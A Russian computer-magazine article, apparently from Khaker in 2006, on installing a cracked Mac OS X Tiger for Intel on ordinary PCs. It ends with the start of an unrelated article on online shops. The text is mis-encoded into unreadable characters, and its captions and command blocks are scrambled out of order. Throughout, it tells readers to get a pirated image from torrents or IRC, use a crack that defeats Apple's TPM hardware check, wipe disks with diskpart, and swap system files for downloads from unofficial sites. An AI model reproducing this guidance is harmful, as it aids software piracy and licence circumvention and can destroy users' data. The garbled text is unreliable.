Âñå íà÷àëîñü ñ òîãî, ÷òî â èþíå Apple àíîíñèðîâàëà ñìåíó èõ ÷èïñåòà ñ Power PC IBM íà INTEL è, ñëåäîâàòåëüíî, âûïóñê íîâîé ëèíåéêè êîìïîâ. Òî åñòü ýòî îçíà÷àåò ñìåíó íà x86 àðõèòåêòóðó, êîòîðóþ ìû ñ òîáîé äàâíî óæå þçàåì. Èíòåëîâñêèå ÷èïû äîëæíû áûòü áûñòðåå è íàäåæíåå. Îñîáåííîñòü Ìàêà â òîì, ÷òî ÷èïû ïðàêòè÷åñêè íå íàãðåâàþòñÿ, ïîýòîìó äî ýòîãî ó áîëüøèíñòâà ìîäåëåé íîóòáóêîâ íå áûëî êóëåðîâ, à áûëà î÷åíü óìíî ïðîäóìàííàÿ ñèñòåìà âåíòèëÿöèè. Intel-÷èïû âñå æå áûñòðåå ãðåþòñÿ, íî çàòî ïðîèçâîäÿòñÿ â áîëüøåì êîëè÷åñòâå ïî âñåìó ìèðó, ÷åì ÷èïñåòû îò IBM, ïîýòîìó îæèäàåòñÿ áîëüøîé ñïàä öåí íà Ìàêè. È ïîêà ìû áóäåì ýòîãî æäàòü, ìîæåì íà÷èíàòü îñâàèâàòü ñèñòåìó. Ïîñëå àíîíñà ñðàçó íà÷àëàñü ðàçðàáîòêà íîâîé MacOS X äëÿ ñîâìåñòèìîñòè ñ íîâûì æåëåçîì. Êàê ìû óæå ñ òîáîé çíàåì, õàêåðû íå ñïÿò, è ïîòîìó ñêîðî ýòà îïåðàöèîíêà (òî÷íåå, OSX Tiger for Intel) ñòàëà ïîÿâëÿòüñÿ â èíåòå, à òàêæå êðýê äëÿ íåå. Òàê êàê MacOs X áûëà çàáèòà òîëüêî äëÿ æåëåçà Apple, êðýê îáõîäèò ïðîâåðêó íàëè÷èÿ intel’îâñêîãî Trusted Platform Module ÷èïà, êîòîðîãî íåò ó îáû÷íîãî PC.

Ýòîò ñïîñîá òðåáóåò íàëè÷èÿ ïèøóùåãî DVD-ïðèâîäà, à òàêæå ïðåäâàðèòåëüíî ñêà÷àííûõ ôàéëîâ. Åùå îí ïîòðåáóåò ïîëíóþ î÷èñòêó äèñêîâ è îòñóòñòâèå äðóãèõ îïåðàöèîíîê. Äëÿ ýòîãî ìû ñíà÷àëà ñêà÷àåì îáðàç MacOS X. Îáû÷íî åãî íàõîäÿò ÷åðåç p2p èëè torrents, à òàêæå ìîæíî íàéòè åãî è íà IRC. Èìÿ æåëàåìîãî ôàéëà — «Apple.OS.X.x86.Developer.Kit.Install.D VD-pheNIX.converted.to.ISO.1eiht7.rar».

Windows äàâíî âñåì ïðèåëàñü ñâîåé íåñòàáèëüíîñòüþ è äèçàéíîì, êîòîðûé ìû âñå ñ âàìè âèäèì êàæäûé äåíü â óíèâåðå èëè íà ðàáîòå. Äî âûõîäà Windows Vista åùå ìíîãî âðåìåíè, à ñìåíèòü îáñòàíîâêó âñåãäà ïîëåçíî. Îäèí èç ñïîñîáîâ íèæå ðàññêàæåò î òîì, êàê ìîæíî óñòàíîâèòü îñü ñ ïîääåðæêîé ìóëüòèçàãðóçêè è ñèëüíî íå ïåðåæèâàòü î ðàçëóêå ñ Windows. Äëÿ íà÷àëà íàì íàäî ïîäãîòîâèòü æåëåçî è ñîôò. Ïîñòåïåííî ïîÿâëÿåòñÿ âñå áîëüøå è áîëüøå æåëåçà, êîòîðîå ñîâìåñòèìî è ïðåêðàñíî ðàáîòàåò ïîñëå óñòàíîâêè íà x86. Ýòîò ñïèñîê ïîñòîÿííî îáíîâëÿåòñÿ íà ñàéòàõ, ïîñâÿùåííûõ äàííîé òåìå. Áàçîâûå òðåáîâàíèÿ — ýòî ïðîö SSE3, òî åñòü Pentium 4 èëè Athlon 64, Intel èëè ñîâìåñòèìàÿ ìàòåðèíñêàÿ ïëàòà. Æåëàòåëüíî òàêæå èìåòü Intel Graphics Media Accelerator 900, âåäü êàê ðàç ïîä íåãî è ïèøåòñÿ ýòà îñü. ×òîáû ïðîâåðèòü ñâîé êîìï íà SSE3, ìîæíî âîñïîëüçîâàòüñÿ ïðîãðàììàìè äëÿ ñáîðà èíôîðìàöèè î êîìïå èëè ïðîöå. Íàïðèìåð, CPU–Z. Óæå åñòü áîëüøîå êîëè÷åñòâî ñïîñîáîâ äîñòèãíóòü ðåçóëüòàòà, òóò áóäóò îïèñûâàòüñÿ íàèáîëåå ïðîâåðåííûå è äîñòóïíûå.

Åñëè æå òàì íå ñòîèò óïîìèíàíèÿ îá .iso, ðàñøèðåíèÿ ôàéëà áóäåò .dmg — ýòî disc image, êîòîðûé ÷èòàåòñÿ òîëüêî íà Ìàêàõ. Òåáå íàäî áóäåò åãî êîíâåðòèðîâàòü â ðîäíîé .iso. Äëÿ ýòîãî åñòü òó÷à ïðîã, íàïðèìåð Ultra ISO. Ïîñëå êîíâåðòàöèè íåîáõîäèìî ïðîïàò÷èòü ïðîãó, ÷òîáû äèñê áûë ÷èòàåì ïðè çàãðóçêå. Ïîýòîìó íàäî ñêà÷àòü «Generic_OSx86_Install_DVD_Patcher_ Release1.rar», êîòîðûé òàêæå ìîæíî

íàéòè óæå ïðàêòè÷åñêè âåçäå (íî áóäåò ïðîùå ñêà÷àòü óæå êîíâåðòèðîâàííûé .iso). Äàëåå çàïèñûâàåì Marklar-Tiger.iso íà DVD-äèñê ëþáèìîé ïðîãîé äëÿ çàïèñè. Íó, à äàëüøå âñå ïðîùå. Ñòàâèì â BIOS CD êàê boot device è ïåðåçàãðóæàåì êîìï. Åñëè òû âñå äî ýòîãî ñäåëàë ïðàâèëüíî, òî íà ýêðàíå äîëæíî ïîÿâèòüñÿ Darwin Boot Menu.  îáùåì, ïîáåäíî æìåì «Enter».

XÀÊÅÐ 02 /86/ 06


www.apple.com/macmini — ñàìûé äåøåâûé Ìàê çà 499 âå÷íîçåëåíûõ. Òåáå ìîæåò ïîíðàâèòüñÿ ýòà îïåðàöèîíêà, è, âîçìîæíî, òû çàõî÷åøü ïîëüçîâàòüñÿ åé íà îðèãèíàëüíîì îáîðóäîâàíèè.

ñîçäàåì ðàçäåëû. ß äåëàþ ýòî íà âòîðîì äèñêå

×ÅÃÎ ÍÀÌ ÆÄÀÒÜ ÍÀ ÑÀÌÎÌ ÄÅËÅ? XÀÊÅÐ 02 /86/ 06 XÀÊÅÐ 01 /85/ 05

Åñòü ïàðà òåîðèé ïî ïîâîäó âçëîìà MacOS X äëÿ PC. Ñ÷èòàåòñÿ, ÷òî òåïåðü ïîñòåïåííî áóäóò íàõîäèòü íîâûå ñïîñîáû óñòàíîâêè. Òîãäà Apple íè÷åãî íå îñòàíåòñÿ äåëàòü, êàê íà÷àòü âûïóñêàòü ýòó îñü äëÿ âñåõ êîìïîâ íåçàâèñèìî îò æåëåçà. Õîòÿ ýòî íå ôàêò, ïîòîìó ÷òî Apple-æåëåçî òîæå î÷åíü âàæíî äëÿ ïðîäàæ êîìïàíèè, è îíè ñîáèðàþòñÿ åãî äàëüøå ïðîäâèãàòü â ìàññû. Êàê, íàïðèìåð, ïðîåêò iPod. Îñü ñïåöèàëüíî çàòà÷èâàåòñÿ ïîä òàêîå æåëåçî è ïîýòîìó ðàáîòàåò ëó÷øå. Íàïðèìåð, ìîíèòîðû Apple áîëåå êîíòðàñòíûå è ñâåòëûå, ÷åì áîëüøèíñòâî ìîíèòîðîâ äëÿ PC. Ìàê ïðàêòè÷åñêè ìîìåíòàëüíî âûõîäèò èç ñïÿùåãî ðåæèìà.  òî âðåìÿ êàê â Windows íàäî äîëãî æäàòü, ïîêà îí çàãðóçèò âñå ïðèëîæåíèÿ.

Final Cut Pro — íà äàííûé ìîìåíò ëó÷øàÿ ïðîãðàììà äëÿ ìîíòàæà âèäåî. Ñòàíäàðò êèíîèíäóñòðèè ïî âñåìó ìèðó. Ñóùåñòâóåò òîëüêî äëÿ OS X.

033 033


PC_ZONE ///// ISSUE

âûáèðàåì äèñêè è æìåì restore

ÑÏÎÑÎÁ ÂÒÎÐÎÉ (PARTITION MAGIC)

âûáèðàåì íóæíûé íàì äèñê è æìåì Repair Disk Permissions

âîò òàê êðàñèâî áóäåò ñìîòðåòüñÿ òâîÿ ñèñòåìà

Âñêîðå äîëæíî áóäåò ïîÿâèòüñÿ èíñòàëëÿöèîííîå ìåíþ. Íå ñòîèò ñðàçó áûñòðî ïåðåñêàêèâàòü åãî è äóìàòü, ÷òî äàëüøå âñå áóäåò ïîíÿòíî. Åùå ïðèäåòñÿ íåìíîãî ïîðàáîòàòü. Æìåì Utilities -> Disk Utility è èùåì òàì íàëè÷èå äèñêîâ (partitions), åñëè êàêèå-òî óæå åñòü íà òâîåì õàðäå, òî ïðèäåòñÿ èõ âñå óäàëèòü è ñðàâíÿòü. Ïðèäåòñÿ óäàëèòü è âñå ðàçäåëû, êîòîðûå òàì åñòü. Ïîñëå ýòîãî

ñîçäàåì íîâûé ðàçäåë. Äàëåå ñìåëî (íî çíàÿ, ÷òî âñÿ èíôîðìàöèÿ íà òâîåì õàðäå áóäåò óòåðÿíà) æìåì «partition». Òåïåðü óæå ìîæíî ïðîäîëæàòü íàæèìàòü êíîïêè, ÷òîáû ïðîéòè äàëüøå. Âûáåðè ðàçäåë, â êîòîðûé õî÷åøü ïîñòàâèòü îñü, è âïåðåä. Òåïåðü âûáèðàé çíà÷îê ðàçäåëà è æìè «continue». Âûáðàâ «customize», ìîæíî óáðàòü íåíóæíûå äðàéâåðà, à òàêæå Xcode

tools, êîòîðûå òàì íóæíû òîëüêî äëÿ íàïèñàíèÿ êîäà, òàê êàê ìû óñòàíàâëèâàåì âñåòàêè îñü, ñîçäàííóþ äëÿ ðàçðàáîòêè ýòîãî ñàìîãî êîäà, à íàì ýòîãî íå íàäî. Æìåì «install» è íà÷èíàåì óëûáàòüñÿ (äàâíî ÿ íå âñòàâëÿë ïðèìå÷àíèÿ, íî ýòà ôðàçà ìåíÿ óáèëà! :) — Ïðèì. b00b1ik) è æäàòü. Íå çàáóäü âûíóòü äèñê ïðè ïåðåçàãðóçêå. Îñü ãîòîâà ê ðàáîòå.

Ïðè ïîìîùè ýòîãî ñïîñîáà ìîæíî ïîëüçîâàòüñÿ ìàêîâñêîé îñüþ (íà îäíîì êîìïå ñ îêîøêàìè). Èëè, êàê ïðèíÿòî ãîâîðèòü, Dual Boot. Äëÿ ýòîãî íàäî ñêà÷àòü ôàéë, êîòîðûé òîæå õîäèò ïî÷òè íà âñåõ ðåñóðñàõ ñ èìåíåì «tiger-x86.tar.bz2». Ïîñëå óñòàíîâêè îí îòêðûâàåòñÿ WinRar’îì. Îïÿòü æå â íåì áóäåò «tiger-x86-flat.img». Ïîêà ÷òî îñòàâü ýòî íà ñâîåì ðàáî÷åì ñòîëå. Äëÿ íà÷àëà íàì íàäî áóäåò ðàçáèòü äèñê. Êàê òû óæå äàâíî çíàåøü, ëó÷øàÿ è ñàìàÿ áåçîïàñíàÿ ïðîãà äëÿ ýòîãî — Partition Magic. Íàì íàäî áóäåò ñäåëàòü äâà îòäåëüíûõ ðàçäåëà, ÷òîáû ïðàâèëüíî óñòàíîâèòü îñü. Äëÿ íà÷àëà íàäî óáàâèòü ðàçìåð ñóùåñòâóþùåãî ðàçäåëà. Äëÿ óñòàíîâêè ïîíàäîáèòñÿ ãäå-òî 6,6 Ãá. Òàê è äåëàåì. Ïåðåçàãðóæàåì êîìï. Åñëè âñå íîðìàëüíî, òî áóäåì ñîçäàâàòü íîâûå ðàçäåëû ÷åðåç cmd. Æìåì Ïóñê > Âûïîëíèòü -> cmd. Âèäèì âñåì íàì çíàêîìóþ êîíñîëü, ïèøåì «diskpart», îïÿòü æìàêàåì Enter. Äàëüøå íàäî ïîñìîòðåòü ñïèñîê, ïîýòîìó ïå÷àòàåì «list disk» è îïÿòü æìåì Enter. Âûáèðàåì íîìåð ðàçäåëà è ïèøåì «select disk 0» (ãäå 0 — äèñê, êîòîðûé òû ïðåäïî÷èòàåøü). Òåïåðü ïèøåì ñëåäóþùåå:

x86.tar.bz2» â íàø îñíîâíîé ðàçäåë, òî åñòü äèñê Ñ, è â íàø âðåìåííûé ðàçäåë, ðàçìåðîì 6 Ãá. Äëÿ ýòîãî íàì òàêæå ïîíàäîáèòñÿ ïðîãà, íàïðèìåð «dd for windows». Ñîôòèíó íàäî èíñòàëëèðîâàòü â òîò îñíîâíîé ðàçäåë, ãäå óæå æèâåò «tiger-x86.tar.bz2». Ëó÷øå, ÷òîáû ôàéë è ïðîãà áûëè íàâåðõó âñåõ ïàïîê. Ñíîâà çàïóñêàåì êîíñîëü. Ïåðåêëþ÷àåìñÿ íà äèñê Ñ (êîìàíäîé cd c:). Äàëåå ïèøåì:

ñêà÷àòü â èíåòå. Ïîñëå ýòîãî çàïèñûâàåì äèñê è ïåðåçàãðóæàåìñÿ ñ äèñêà. Ïðè çàïóñêå ïðîãðàììû âûáèðàåì òðåòèé ðàçäåë äëÿ óñòàíîâêè. Ïîñëå ïðîöåññà äîëæíà ñíîâà ïîÿâèòüñÿ êîíñîëü. Ïèøåì «reboot» è ïåðåçàãðóæàåìñÿ óæå áåç äèñêà. Ïðè çàãðóçêå ïîÿâèòñÿ boot-ìåíþ, âûáèðàåì MacOS X. Âñå äîëæíî çàïóñòèòüñÿ. Òåïåðü íàì íàäî ñêîïèðîâàòü ñèñòåìó èç ðàçäåëà â ðàçäåë. Æìåì Applications -> Utilities -> Disk Utility. Âûáèðàåì ðàçäåë, âûáèðàåì âêëàäêó «Restore» íàâåðõó. Òî åñòü ìû «âîññòàíîâèì» ñîäåðæàíèå âðåìåííîãî ðàçäåëà â íîâîì.  ðàçäåë «source» ïåðåòàñêèâàåì âòîðîé âðåìåííûé ðàçäåë, à íà «destination» ïåðåòàñêèâàåì òðåòèé. Æìåì «Restore», ïîñëå ýòîãî, òû óãàäàë, ñíîâà ïåðåçàãðóæàåì ñèñòåìó. Ïîñëåäíèé ðàç çàõîäèì â ôîðòî÷êè è óäàëÿåì âòîðîé âðåìåííûé ðàçäåë.  cmd ïèøåì ñâåäóùèå êîìàíäû:

create partition primary size=6660 id=af Ýòîò ðàçäåë ïðåäíàçíà÷åí äëÿ âðåìåííûõ ôàéëîâ. Äàëüøå íàäî ñîçäàòü ðàçäåë, â êîòîðûé îñü áóäåò óñòàíàâëèâàòüñÿ. Ýòîò ðàçäåë ìû ðàñïîëîæèì íà âñåì îñòàâøåìñÿ ìåñòå. Ïîýòîìó ïå÷àòàåì:

create partition primary id=af Æìåì Enter è æäåì. Ïîñëå ýòîãî ìîæíî ïðîâåðèòü òî, ÷òî ïîëó÷èëîñü, êîìàíäîé «list partition». Åñëè âñå îê — ïåðåçàãðóæàåìñÿ. Òåïåðü ìû äîëæíû ñêîïèðîâàòü «tiger-

034

ìåíÿåì àêêàóíòû

dd if=c:tiger-x86-flat.img of=\?\Device\Harddisk0\Partition2 bs=512 skip=63 Ïîñëå ýòîãî íàäî áóäåò íåìíîãî ïîäîæäàòü. Ïðîöåññ çàíèìàåò êàêîå-òî âðåìÿ, ïîýòîìó íå ñòîèò áîÿòüñÿ, ÷òî âñå ïîâèñëî. Ïîñëå òîãî êàê âñå çàêîí÷èòñÿ, çàêðûâàåì êîíñîëü. Äàëüøå êà÷àåì ôàéë chain 0 (www.360hacker.net/chain0.rar). Ñîäåðæèìîå àðõèâà ïîìåùàåì ïîâåðõ âñåõ ïàïîê íà äèñêå Ñ. Îí áóäåò îòâåòñòâåííûé çà çàãðóçêó îñè â ñàìîì íà÷àëå. Íàõîäèì ôàéë «boot.ini».  êîíöå äîáàâëÿåì ñòðî÷êó

C:\chain0=«Mac OS X» ×òîáû ïðîâåðèòü, âñå ëè òû ñäåëàë ïðàâèëüíî, ìîæíî ïîéòè â «msconfig» è â çàêëàäêå «boot.ini» íàæàòü íà ïðîâåðêó ïóòåé çàãðóçêè. Ïåðåçàãðóæàåìñÿ. Çàõîäèì ñíîâà â óæå íàáîëåâøèå îêîøêè (òåðïåíèå, ìû áëèçêè ê öåëè!). Ïåðâûé ðàç óñòàíàâëèâàòü ñèñòåìó ìû áóäåì íà òîò ñàìûé âðåìåííûé ðàçäåë ðàçìåðîì 6 Ãá, ïîòîìó ÷òî ýòà âåðñèÿ ðàññ÷èòàíà òîëüêî íà òàêîé ðàçìåð, è òîëüêî 2 Ãá — íà ñâîáîäíîå ìåñòî. Íî ìû ýòî èñïðàâèì ïîçæå, êîãäà âñå ïîñòàâèì íà òðåòèé ðàçäåë, è òàì óæå íå áóäåò îãðàíè÷åíèÿ ïî ðàçìåðó. Äëÿ ýòîãî íàäî ñêà÷àòü ßáëî÷íóþ ñèñòåìó Darwin. Åå ìîæíî ëåãêî è áåñïëàòíî

1) Diskpart 2) List Ïîñëå ýòîãî âûáèðàåì ñàì äèñê. Ïîýòîìó ïå÷àòàåì:

1) select disk 0 2) select partition 2 3) delete partition Ïîñëå ýòîãî îïÿòü cmd -> diskmgmt.msc. Òàì áóäåò ïîêàçàíî ëèøíåå ìåñòî, æìåì ïðàâîé êíîïêîé è âûáèðàåì íîâûé ðàçäåë, æìåì òðè ðàçà «äàëåå» è ïîä ñèñòåìîé ôîðìàòèðîâàíèÿ âûáèðàåì FAT32. Íè â êîåì ñëó÷àå íå ìåëêîìÿãêèé NTFS, à òî Ìàê íàêðîåòñÿ ìåäíûì òàçîì îò èñïóãà. Ïîñëå òîãî êàê ïðîöåññ çàâåðøèòñÿ, âûêëþ÷àåì êîìï. Îòäûõàåì. Ñíîâà âêëþ÷àåì. Çàõîäèì â OS X. Ñìîòðèì íà êðàñèâûé äèçàéí è ðàäóåìñÿ. Òåïåðü ÷èòàåì, êàê íàñòðîèòü ñèñòåìó.

XÀÊÅÐ 02 /86/ 06


PC_ZONE ///// ISSUE

ÎÏÒÈÌÈÇÀÖÈß

ÓÄÀËßÅÌ ÔÀÉËÛ

DISC PERMISSIONS

ROSETTA

UPDATE

ÄÀ ÏÐÅÁÓÄÅÒ Ñ ÒÎÁÎÉ ÑÈËÀ

036

www.winsupersite.com/showcase/winvista_beta1_vs_tiger_01.asp ñòàòüÿ, êîòîðàÿ ñðàâíèâàåò OS X ñ Windows Vista. Äëÿ çíàþùèõ àíãëèéñêèé äîëæíî áûòü çàíÿòíî. www.osx86project.org õîðîøèå íîâîñòè ïî òåìå.

http://wiki.osx86project.org/wiki/index.php/HCL ñïèñîê ñîâìåñòèìûõ êîìïîâ, à òàêæå èíôîðìàöèÿ î òîì, ÷òî è êàê íà íèõ áóäåò ðàáîòàòü.

http://wiki.osx86project.org íà äàííûé ìîìåíò ëó÷øèé ðåñóðñ ïî óñòàíîâêå MacOS íà x86, åñòü ìàíóàëû óñòàíîâîê è ñïèñêîê ñîâìåñòèìîãî æåëåçà.

www.xplodenet.com/blog åùå îäèí íåîôèöèàëüíûé ñàéò ñ íîâîñòÿìè è ïðîñòûìè ìàíóàëàìè äëÿ èíñòàëëÿöèè. www.mikeosx.com ðóññêîÿçû÷íàÿ ñòðàíèöà îá OS X.

Ñíà÷àëà ìîæåò ïîêàçàòüñÿ, ÷òî îñü ðàáîòàåò íîðìàëüíî, íî åñòü åùå ìíîãî ñïîñîáîâ õîðîøî åå ðàçîãíàòü è ïîäïðàâèòü. Ïî÷òè ó âñåõ âåðñèé, êîòîðûå ìîæíî íàéòè â èíåòå, þçåðíåéì áóäåò deadmoo, a ïàðîëü — bovinity. Ýòî ñòîèò èñïðàâèòü è ïðîñòî ñîçäàòü íîâûé àêêàóíò.  ìåíþ Apple â ëåâîì âåðõíåì óãëó æìåì System Preferences, ïîòîì — Accounts. Äàëüøå â ïðàâîì íèæíåì óãëó áóäåò «çàìîê» — íàæìè íà íåãî. Êîãäà ñïðîñÿò ïàðîëü, åñòåñòâåííî, ââîäè bovinity, ââåðõó

«çàìêà» áóäåò êíîïêà «+» — æìè åå, à ÷òîáû ñîçäàòü íîâóþ ó÷åòíóþ çàïèñü èëè àêêàóíò, çàïîëíè åãî è æìè «create account». Ïîñëå ÷åãî æìè «Login Options», ââåðõó — «+». Îòêëþ÷è îïöèþ «Automatically log in as». Çàêðûâàåì âñå îêíà, è ñíîâà çàõîäèì â Apple-ìåíþ, ãäå æìåì «log out». Çàõîäèì â ñèñòåìó ñ íîâûì àêêàíóòîì è îïÿòü èäåì â System Preferences, ãäå óäàëÿåì deadmoo, íàæèìàÿ «-» ðÿäîì ñ íèì. Æìåì «Delete Immediately».

Ó MacOS, êîòîðóþ ìû óñòàíîâèëè, åñòü ôàéë ïîä íàçâàíèåì AppleTPMACPI.kext. Îí êàê ðàç èùåò òîò ñàìûé ßáëî÷íûé Èíòåëîâñêèé ×èï (TPM), êîòîðûé äîëæåí ó íàñ ïðèñóòñòâîâàòü. Îí åãî èùåò è ïðè ýòîì çàäåéñòâóåò ìíîãî ðåñóðñîâ. Ïîýòîìó åãî íàäî ïðîñòî óäàëèòü. Îòêðûâàåì «finder», èäåì â /System/Library/Extensions/ è óäàëÿåì åãî. Ïîñëå ýòîãî ïåðåçàãðóæàåìñÿ.

Òàêæå ìîæíî óäàëèòü ôàéë AppleIntel830.kext (ýòî àêòèâèçèðóåò ãðàôè÷åñêèå ñïîñîáíîñòè îñè), è âñå ñòàíåò äâèãàòüñÿ è ñìîòðåòüñÿ ëó÷øå. Òîëüêî ýòî íå ñî âñåìè âèäåîêàðòî÷êàìè ðàáîòàåò. Ïîýòîìó ÷åðåç «finder» èäåì â /System/Library/Extensions. Ñòîèò ñêîïèðîâàòü ôàéë íà äåñêòîï, ÷òîáû ïåðåñòðàõîâàòüñÿ, òàê ÷òî ïåðåíîñèì åãî òóäà ìûøêîé, óäàëÿåì ôàéë è ðåáóòàåìñÿ.

Ïîñëå íàøèõ ñ òîáîé ìàõèíàöèé ñèñòåìà áóäåò íåìíîãî íåñòàáèëüíà. Îñîáåííî óäàëåíèå îòäåëüíûõ ôàéëîâ ñèëüíî âëèÿåò íà îñü, ïîýòîìó íàäî îòðåìîíòèðîâàòü äèñêè. Äëÿ ýòîãî îòêðûâàåì ïðîãó Disk Utility, èäåì â Applications/Utilities è âûáèðàåì â ëåâîì áîêó ðàçäåë, â êîòîðîì ðàñïîëàãàåòñÿ îñü. Æìåì «Repair Disk Permissions» è æäåì, ïîêà ïðîöåññ çàêîí÷èòñÿ.

Ó íîâîé ñèñòåìû åñòü çàìå÷àòåëüíàÿ ïðîãðàììà ïîä íàçâàíèåì Rosetta. Îíà ñòîèò, ÷òîáû êîíâåðòèðîâàòü ñòàðûé è íîâûé êîä äëÿ îòäåëüíûõ ïðîãðàìì. Ñòàðûì ñ÷èòàåòñÿ Power PC — íàçâàíèå ëèíåéêè Ìàêîâ ñ IBM-÷èïñåòàìè. Íåêîòîðûå ïðîãè åùå íå ïåðåâåëè ïîä íîâîå ÿäðî, ïîýòîìó îíè íå áóäóò ðàáîòàòü áåç òàêîãî ñîôòà. Äëÿ íà÷àëà íàäî ñêà÷àòü òàê íàçûâàåìîå ÿäðî (www.dashboardlineup.com/hosted/mach_kernel.new.zip). Ïîñëå ýòîãî ðàñïàêîâûâàé àðõèâ, à ïàïêó ïåðåèìåíîâûâàé â «mach_kernel_new». Òåïåðü èäåì â Applications -> Utilities -> Terminal. Îòêðûâàåòñÿ êîìàíäíàÿ ñòðîêà. Òàì ïèøåì «cd», æìåì ïðîáåë, äàëüøå ïåðåòàñêèâàåì ýòó ïàïêó íà îêíî. Êîìàíäà äîëæíà íàïå÷àòàòüñÿ ñàìà. Ïîñëå ýòîãî òàì æå ïèøåì cp mach_kernel.new ~/Desktop/mach_kernel, à ïîòîì — cp /mach_kernel ~/Desktop/mach_kernel.bak. È íàêîíåö — sudo cp ~/Desktop/mach_kernel /. Îáÿçàòåëüíî ñîáëþäàé âñå ïðîáåëû. Æìåì «Enter» è çàêðûâàåì òåðìèíàë. Òåïåðü êà÷àåì Core Graphics ôàéë (www.badongo.com/file.php?file=CoreGraphics%20for%20x86 2005-11-23_CoreGraphics.zip). Ðàñïàêîâûâàåì ôàéë íà äåñêòîï. Âîçâðàùàåìñÿ â òåðìèíàë è ïèøåì:

mv ~/Desktop/CoreGraphics/System/Library/Frameworks/Applicati onServices.framework/Versions/A/Frameworks/CoreGraphics.f ramework/Versions/A/CoreGraphics.bak. Æìåì 017«Enter». Òåïåðü íàäî ââåñòè ñòðî÷êó:

cd /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/CoreGraphics.framework/Versi ons/A. Ïîñëå ýòîãî ââîäèì ýòè ñòðî÷êè (ïîñëå êàæäîé íå çàáûâàé æàòü «Enter»):

chmod 755 CoreGraphics.bak sudo chown root:wheel CoreGraphics.bak sudo mv CoreGraphics CoreGraphics.i386 sudo mv CoreGraphics.bak CoreGraphics Ïîòîì çàêðûâàåì òåðìèíàë è ïåðåçàãðóæàåì êîìïüþòåð.

Ê ñîæàëåíèþ, ÷åðåç Èíòåðíåò íèêàêîãî àïãðåéäà ñèñòåìû íå ïîëó÷èòñÿ. Îíà ïðîñòî áóäåò ãîâîðèòü, ÷òî íîâûõ îáíîâëåíèé íåò. Íî, òàê êàê ñîîáùåñòâî osx86 ïîñòîÿííî ðàñòåò, óæå âûõîäÿò íåîôèöèàëüíûå îáíîâëåíèÿ, î êîòîðûõ ðàçìåùàåòñÿ èíôîðìàöèÿ íà òåìàòè÷åñêèõ ñòðàíèöàõ. Èõ ìîæíî ñêà÷àòü íà òåõ æå ðåñóðñàõ.

 íà÷àëå âñå ìîæåò êàçàòüñÿ íåóäîáíûì è ñòðàííûì. Îäíàêî òû ìîæåøü áåñïëàòíî ïîïîëüçîâàòüñÿ ñèñòåìîé, êîòîðàÿ íàêîíåö-òî ñòàëà ïðÿìûì è î÷åíü îïàñíûì êîíêóðåíòîì îêîøêàì. Àëüòåðíàòèâà — ýòî âñåãäà õîðîøî. Ìîæåò áûòü, îò ñòðàõà òåïåðü Windows ñäåëàþò ëó÷øå, áûñòðåå, áîëåå ïðèÿòíîé íà ãëàç è íàìíîãî áåçîïàñíåå. Òåì áîëåå, MacOS ñòðîèòñÿ íà ÿäðå âñåìè íàìè ëþáèìîãî FreeBSD.

ß òåïåðü ñåðüåçíî ïîäóìûâàþ êóïèòü ñåáå Mac êàê âòîðóþ ìàøèíó, ÷òîáû íà íåì äåëàòü âñþ êðåàòèâíóþ è ñåêðåòíóþ ðàáîòó è áûòü ñïîêîéíûì, ÷òî ó ìåíÿ íå óêðàäóò èíôîðìàöèþ, ìîÿ ðàáîòà íå ïðåðâåòñÿ îøèáêîé è âñÿ èíôîðìàöèÿ íå ïîòåðÿåòñÿ. Ýòî î÷åíü âåñîìûå êà÷åñòâà ñèñòåìû. ß íàäåþñü, ÷òî òû òîæå áóäåøü ðàä òàêîìó âûáîðó. BINARY YOUR’S z

XÀÊÅÐ 02 /86/ 06


PC_ZONE

Ó×ÅÁÍÈÊ ÏÎ ÀÍÀÒÎÌÈÈ

TEXT WEIRD AKA ÁÅÐÅÍØÒÅÉÍ ÅÂÃÅÍÈÉ / ICQ# 522715 /

038

ÅÙÅ ÍÅÄÀÂÍÎ ÌÍÎÃÈÅ ÐÓÍÅÒÎÂÑÊÈÅ ÑÀÉÒÛ ÏÐÅÄÑÒÀÂËßËÈ ÑÎÁÎÉ ÎÁËÅÇËÛÅ ÈÍÔÎÐÌÀÖÈÎÍÍÛÅ ÑÒÐÀÍÈÖÛ. ÎÙÓÙÀËÀÑÜ ÍÅÕÂÀÒÊÀ ÃÐÀÔÈ×ÅÑÊÈÕ, ÄÈÇÀÉÍÅÐÑÊÈÕ È ÏÐÎÂÀÉÄÅÐÑÊÈÕ ÂÎÇÌÎÆÍÎÑÒÅÉ, ÍÎ ÍÀÑÒÓÏÈË XXI ÂÅÊ, È ÒÅÏÅÐÜ ÊÀÆÄÎÌÓ, ÊÒÎ ÕÎ×ÅÒ ÂÒÈÑÍÓÒÜÑß Â ÐßÄÛ ÂËÀÄÅËÜÖÅ ÈÍÒÅÐÍÅÒ-ÌÀÃÀÇÈÍÎÂ, ÍÅÎÁÕÎÄÈÌÎ ÁÛÒÜ ÊÎÍÊÓÐÅÍÒÎÑÏÎÑÎÁÍÛÌ ÊÀÊ Â ÄÈÇÀÉÍÅ, ÒÀÊ È Â ÏÐÎÃÐÀÌÌÍÎÉ ×ÀÑÒÈ

ÈÍÒÅÐÍÅÒ-ÌÀÃÀÇÈÍ ÑÍÀÐÓÆÈ È ÈÇÍÓÒÐÈ

Ñàìûé âåðíûé ñïîñîá ñäåëàòü õîðîøèé ñàéò — áðàòü ïðèìåð ñ òàêèõ ëèäåðîâ, êàê www.rambler.ru, www.ozon.ru, www.megashop.ru.

LET’S GET IT STARTED

Ì

íîãèå, íàâåðíîå, ÷àñòî çàäàâàëèñü âîïðîñîì: çà÷åì æå íóæåí èíòåðíåò-ìàãàçèí, ÷åì îí óäîáíåå îáû÷íûõ ãèïåðìàðêåòîâ òèïà Ðàìñòîðà è Àøàíà? Âî-ïåðâûõ, ìíîãèå èíòåðíåò-ìàãàçèíû ïðîäàþò òîâàðû ïî áîëåå íèçêîé öåíå, íåæåëè èçâåñòíûå ãèïåðìàðêåòû. Ñðàçó âîçíèêàåò âîïðîñ: ïî÷åìó? Âñå ïîòîìó, ÷òî âëàäåëüöó ñàéòà, ïðîäàþùåìó òîâàðû ÷åðåç Èíòåðíåò, íåîáÿçàòåëüíî ïëàòèòü äåíüãè çà ñêëàäñêîå ïîìåùåíèå, çà åãî àðåíäó, íå âñåãäà íà ïðîäàæó òîâàðîâ íåîáõîäèìà ëèöåíçèÿ. Èç âñåãî ýòîãî ìîæíî ñäåëàòü ñëåäóþùèé âûâîä: èçäåðæêè ïðîèçâîäñòâà ñâîäÿòñÿ ê ìèíèìóìó. Åùå 